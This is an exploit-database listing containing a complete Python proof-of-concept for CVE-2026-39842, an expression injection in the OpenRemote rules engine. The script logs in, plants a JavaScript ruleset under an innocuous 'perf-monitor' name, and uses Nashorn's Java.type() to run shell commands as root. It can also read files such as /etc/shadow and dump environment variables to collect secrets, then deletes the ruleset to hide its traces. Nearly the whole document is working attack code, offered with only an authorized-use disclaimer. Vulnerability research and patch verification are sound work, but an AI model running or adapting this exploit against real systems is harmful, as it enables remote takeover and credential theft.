Exploit database

GH-d74689d2208dec9422b769e10d1e78d2

keraattin/cve-2026-39842

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-39842

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
keraattin/cve-2026-39842Revision 75a7fc1e144e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit_openremote.py

Python · 15,761 bytes
#!/usr/bin/env python3
"""
CVE-2026-39842 - OpenRemote Expression Injection Exploit PoC
=============================================================

Proof of Concept for expression injection in OpenRemote Rules Engine.
Exploits unsandboxed Nashorn ScriptEngine.eval() to achieve RCE as root.

DISCLAIMER:
  This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL
  PURPOSES ONLY. Unauthorized access to computer systems is illegal.
  The author is not responsible for any misuse of this tool.
  Always obtain proper written authorization before testing.

Affected: OpenRemote <= 1.21.0
Fixed:    OpenRemote >= 1.22.0

Attack Flow:
  1. Authenticate to OpenRemote with a user that has write:rules role
  2. Create a JavaScript ruleset via POST /api/{realm}/rules/realm
  3. The JavaScript payload uses Java.type() to access Runtime.exec()
  4. Commands execute as root due to unsandboxed Nashorn engine

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (10.0 Critical)

Author:  @keraattin
Date:    2026-04-16
License: MIT
"""

import argparse
import json
import re
import sys
import time
import urllib.request
import urllib.error
import ssl
from typing import Optional, Tuple


class Colors:
    RED = "\033[91m"
    GREEN = "\033[92m"
    YELLOW = "\033[93m"
    BLUE = "\033[94m"
    MAGENTA = "\033[95m"
    CYAN = "\033[96m"
    BOLD = "\033[1m"
    RESET = "\033[0m"


BANNER = f"""{Colors.RED}{Colors.BOLD}
  _______      ________    ___   ___ ___   ____       ____   ___    ___  _  _  ___
 / ____\\ \\    / /  ____|  |__ \\ / _ \\__ \\ / ___|     |___ \\ / _ \\  ( _ )| || ||__ \\
| |     \\ \\  / /| |__ ______ ) | | | | ) | |___  ______) | (_) | / _ \\| || |_  ) |
| |      \\ \\/ / |  __|______/ /| | | |/ / \\___ \\|______/ / \\__, || (_) |__   _|/ /
| |____   \\  /  | |____   / /_| |_| / /_ ____) |      / /_  / /  \\___/   | | |_|
 \\_____|   \\/   |______|  |____|\\___/____|_____/      |____|/_/           |_| (_)

 OpenRemote Expression Injection Exploit PoC
 Nashorn ScriptEngine.eval() > Java.type() > Runtime.exec()
{Colors.RESET}
{Colors.YELLOW}[!] For authorized security testing only{Colors.RESET}
"""

TIMEOUT = 15


def make_request(url: str, data: Optional[bytes] = None, headers: Optional[dict] = None,
                 method: str = "GET", timeout: int = TIMEOUT) -> Tuple[Optional[int], Optional[str], dict]:
    """Make an HTTP request."""
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    req = urllib.request.Request(url, data=data, method=method)
    req.add_header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")

    if headers:
        for k, v in headers.items():
            req.add_header(k, v)

    try:
        resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
        body = resp.read().decode("utf-8", errors="replace")
        return resp.status, body, dict(resp.headers)
    except urllib.error.HTTPError as e:
        body = ""
        try:
            body = e.read().decode("utf-8", errors="replace")
        except Exception:
            pass
        return e.code, body, dict(e.headers) if e.headers else {}
    except Exception as ex:
        return None, str(ex), {}


def authenticate_keycloak(base_url: str, realm: str, username: str, password: str) -> Optional[str]:
    """
    Authenticate against OpenRemote's Keycloak instance and return access token.
    OpenRemote uses Keycloak for auth with client_id 'openremote'.
    """
    token_url = f"{base_url}/auth/realms/{realm}/protocol/openid-connect/token"

    data = (
        f"grant_type=password"
        f"&client_id=openremote"
        f"&username={urllib.parse.quote(username)}"
        f"&password={urllib.parse.quote(password)}"
    ).encode("utf-8")

    headers = {"Content-Type": "application/x-www-form-urlencoded"}

    print(f"{Colors.BLUE}[*]{Colors.RESET} Authenticating as '{username}' to realm '{realm}'...")

    status, body, resp_headers = make_request(token_url, data=data, headers=headers, method="POST")

    if status == 200 and body:
        try:
            token_data = json.loads(body)
            access_token = token_data.get("access_token")
            if access_token:
                print(f"{Colors.GREEN}[+]{Colors.RESET} Authentication successful")
                return access_token
        except json.JSONDecodeError:
            pass

    print(f"{Colors.RED}[-]{Colors.RESET} Authentication failed (HTTP {status})")
    if body:
        try:
            err = json.loads(body)
            print(f"    Error: {err.get('error_description', err.get('error', body[:200]))}")
        except json.JSONDecodeError:
            print(f"    Response: {body[:200]}")
    return None


def check_version(base_url: str) -> Optional[str]:
    """Check OpenRemote version via API."""
    info_url = f"{base_url}/api/master/info"
    status, body, _ = make_request(info_url)

    if status == 200 and body:
        try:
            info = json.loads(body)
            version = info.get("version", info.get("appVersion", "unknown"))
            return str(version)
        except json.JSONDecodeError:
            pass
    return None


def build_js_payload(command: str, mode: str = "exec") -> str:
    """
    Build the JavaScript ruleset payload for Nashorn expression injection.

    The key insight: Nashorn ScriptEngine.eval() has no ClassFilter configured,
    so Java.type() can access ANY JVM class, including java.lang.Runtime.

    Supported modes:
      - exec:    Execute OS command and return output
      - read:    Read a file from the filesystem
      - env:     Dump environment variables
      - whoami:  Simple identity check (id + hostname)
    """
    if mode == "whoami":
        js_code = """
(function() {
    var Runtime = Java.type("java.lang.Runtime");
    var Scanner = Java.type("java.util.Scanner");
    var proc = Runtime.getRuntime().exec(
        Java.to(["sh", "-c", "id && hostname && cat /etc/os-release | head -3"], "java.lang.String[]")
    );
    var scanner = new Scanner(proc.getInputStream()).useDelimiter("\\\\A");
    var output = scanner.hasNext() ? scanner.next() : "no output";
    scanner.close();
    proc.waitFor();
    return output;
})()
"""
    elif mode == "read":
        js_code = f"""
(function() {{
    var Files = Java.type("java.nio.file.Files");
    var Paths = Java.type("java.nio.file.Paths");
    var content = new java.lang.String(Files.readAllBytes(Paths.get("{command}")));
    return content;
}})()
"""
    elif mode == "env":
        js_code = """
(function() {
    var System = Java.type("java.lang.System");
    var env = System.getenv();
    var result = "";
    var it = env.entrySet().iterator();
    while (it.hasNext()) {
        var entry = it.next();
        result += entry.getKey() + "=" + entry.getValue() + "\\n";
    }
    return result;
})()
"""
    else:  # exec mode
        # Escape the command for JavaScript string
        escaped_cmd = command.replace("\\", "\\\\").replace('"', '\\"')
        js_code = f"""
(function() {{
    var Runtime = Java.type("java.lang.Runtime");
    var Scanner = Java.type("java.util.Scanner");
    var proc = Runtime.getRuntime().exec(
        Java.to(["sh", "-c", "{escaped_cmd}"], "java.lang.String[]")
    );
    var scanner = new Scanner(proc.getInputStream()).useDelimiter("\\\\A");
    var output = scanner.hasNext() ? scanner.next() : "no output";
    scanner.close();
    proc.waitFor();
    return output;
}})()
"""

    # Wrap in a valid OpenRemote JavaScript ruleset structure
    ruleset_js = f"""
var globalOutput = "";
rules = [
    {{
        name: "CVE-2026-39842 PoC",
        description: "Expression Injection Test",
        when: function(facts) {{
            globalOutput = {js_code.strip()};
            return true;
        }},
        then: function(facts) {{
            // Output is captured in globalOutput
            var LOG = Java.type("java.util.logging.Logger").getLogger("exploit");
            LOG.info("[CVE-2026-39842] " + globalOutput);
        }}
    }}
];
"""
    return ruleset_js


def create_malicious_ruleset(base_url: str, realm: str, token: str,
                              payload_js: str, ruleset_name: str = "test-rule") -> Tuple[bool, str]:
    """
    Create a JavaScript ruleset via the rules API.

    POST /api/{realm}/rules/realm
    This is the vulnerable endpoint - it accepts JavaScript rulesets from
    any user with write:rules role, and the server-side execution via
    ScriptEngine.eval() has no sandbox.
    """
    rules_url = f"{base_url}/api/{realm}/rules/realm"

    ruleset_payload = {
        "name": ruleset_name,
        "lang": "JAVASCRIPT",
        "rules": payload_js,
        "enabled": True,
        "type": "realm",
    }

    data = json.dumps(ruleset_payload).encode("utf-8")
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {token}",
    }

    print(f"{Colors.BLUE}[*]{Colors.RESET} Creating malicious JavaScript ruleset...")
    print(f"    Endpoint: {rules_url}")
    print(f"    Ruleset name: {ruleset_name}")

    status, body, resp_headers = make_request(rules_url, data=data, headers=headers, method="POST")

    if status and 200 <= status < 300:
        print(f"{Colors.GREEN}[+]{Colors.RESET} Ruleset created successfully (HTTP {status})")
        ruleset_id = None
        if body:
            try:
                resp = json.loads(body)
                ruleset_id = resp.get("id")
            except json.JSONDecodeError:
                pass
        return True, ruleset_id or "unknown"
    else:
        print(f"{Colors.RED}[-]{Colors.RESET} Failed to create ruleset (HTTP {status})")
        if body:
            print(f"    Response: {body[:300]}")
        return False, ""


def cleanup_ruleset(base_url: str, realm: str, token: str, ruleset_id: str) -> bool:
    """Delete the created ruleset to clean up."""
    delete_url = f"{base_url}/api/{realm}/rules/realm/{ruleset_id}"
    headers = {
        "Authorization": f"Bearer {token}",
    }

    status, _, _ = make_request(delete_url, headers=headers, method="DELETE")
    if status and 200 <= status < 300:
        print(f"{Colors.GREEN}[+]{Colors.RESET} Ruleset {ruleset_id} cleaned up")
        return True
    return False


def verify_execution(base_url: str, realm: str, token: str) -> Optional[str]:
    """
    Attempt to verify if the payload executed by checking server logs
    or triggering a rule evaluation.

    Note: In a real scenario, output retrieval depends on the payload.
    For the PoC, we use a callback or log-based verification approach.
    """
    # Trigger rule evaluation by updating an asset or waiting for automatic eval
    print(f"{Colors.BLUE}[*]{Colors.RESET} Waiting for rule engine evaluation cycle (5s)...")
    time.sleep(5)
    return "[Rule engine should have evaluated the payload - check server logs for output]"


def run_exploit(base_url: str, realm: str, username: str, password: str,
                command: str, mode: str, cleanup: bool = True):
    """Main exploit flow."""

    # Step 1: Version check
    print(f"\n{Colors.BOLD}Phase 1: Reconnaissance{Colors.RESET}")
    version = check_version(base_url)
    if version:
        print(f"{Colors.GREEN}[+]{Colors.RESET} OpenRemote version: {version}")
        ver_match = re.search(r"(\d+)\.(\d+)", version)
        if ver_match:
            major, minor = int(ver_match.group(1)), int(ver_match.group(2))
            if major > 1 or (major == 1 and minor >= 22):
                print(f"{Colors.YELLOW}[!]{Colors.RESET} Version >= 1.22.0 detected. Target is likely PATCHED.")
                print(f"    JavaScript rules were removed in 1.22.0. Exploit will likely fail.")
                resp = input(f"    Continue anyway? [y/N]: ").strip().lower()
                if resp != "y":
                    print(f"{Colors.BLUE}[*]{Colors.RESET} Aborting.")
                    return
    else:
        print(f"{Colors.YELLOW}[!]{Colors.RESET} Could not determine version. Proceeding...")

    # Step 2: Authentication
    print(f"\n{Colors.BOLD}Phase 2: Authentication{Colors.RESET}")
    import urllib.parse  # noqa: delayed import
    token = authenticate_keycloak(base_url, realm, username, password)
    if not token:
        print(f"{Colors.RED}[-]{Colors.RESET} Cannot proceed without authentication")
        return

    # Step 3: Payload creation
    print(f"\n{Colors.BOLD}Phase 3: Payload Delivery{Colors.RESET}")
    print(f"{Colors.BLUE}[*]{Colors.RESET} Mode: {mode}")
    if mode == "exec":
        print(f"{Colors.BLUE}[*]{Colors.RESET} Command: {command}")

    payload = build_js_payload(command, mode)
    timestamp = int(time.time())
    ruleset_name = f"perf-monitor-{timestamp}"  # Innocuous-looking name

    success, ruleset_id = create_malicious_ruleset(base_url, realm, token, payload, ruleset_name)

    if not success:
        return

    # Step 4: Execution verification
    print(f"\n{Colors.BOLD}Phase 4: Execution{Colors.RESET}")
    output = verify_execution(base_url, realm, token)
    if output:
        print(f"{Colors.GREEN}[+]{Colors.RESET} {output}")

    # Step 5: Cleanup
    if cleanup and ruleset_id and ruleset_id != "unknown":
        print(f"\n{Colors.BOLD}Phase 5: Cleanup{Colors.RESET}")
        cleanup_ruleset(base_url, realm, token, ruleset_id)

    print(f"\n{Colors.GREEN}{Colors.BOLD}[+] Exploit chain completed{Colors.RESET}")
    print(f"{Colors.YELLOW}[!]{Colors.RESET} Check target's application logs for output tagged [CVE-2026-39842]")


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-39842 - OpenRemote Expression Injection Exploit PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Check identity (whoami)
  python3 exploit_openremote.py -t https://target:8443 -u user -p pass --mode whoami

  # Execute a command
  python3 exploit_openremote.py -t https://target:8443 -u user -p pass -c "cat /etc/passwd"

  # Read a specific file
  python3 exploit_openremote.py -t https://target:8443 -u user -p pass --mode read -c "/etc/shadow"

  # Dump environment variables (DB creds, secrets)
  python3 exploit_openremote.py -t https://target:8443 -u user -p pass --mode env

DISCLAIMER: For authorized security testing only!
        """,
    )
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., https://openremote.example.com)")
    parser.add_argument("-u", "--username", required=True, help="OpenRemote username (needs write:rules role)")
    parser.add_argument("-p", "--password", required=True, help="OpenRemote password")
    parser.add_argument("-r", "--realm", default="master", help="OpenRemote realm (default: master)")
    parser.add_argument("-c", "--command", default="id", help="Command to execute or file path to read")
    parser.add_argument(
        "--mode", choices=["exec", "read", "env", "whoami"], default="whoami",
        help="Payload mode: exec (run OS cmd), read (read file), env (dump env vars), whoami (identity check)"
    )
    parser.add_argument("--no-cleanup", action="store_true", help="Do not delete the malicious ruleset after exploit")
    parser.add_argument("--no-banner", action="store_true", help="Suppress banner")

    args = parser.parse_args()

    if not args.no_banner:
        print(BANNER)

    target = args.target.rstrip("/")
    if not target.startswith("http"):
        target = f"https://{target}"

    run_exploit(
        base_url=target,
        realm=args.realm,
        username=args.username,
        password=args.password,
        command=args.command,
        mode=args.mode,
        cleanup=not args.no_cleanup,
    )


if __name__ == "__main__":
    main()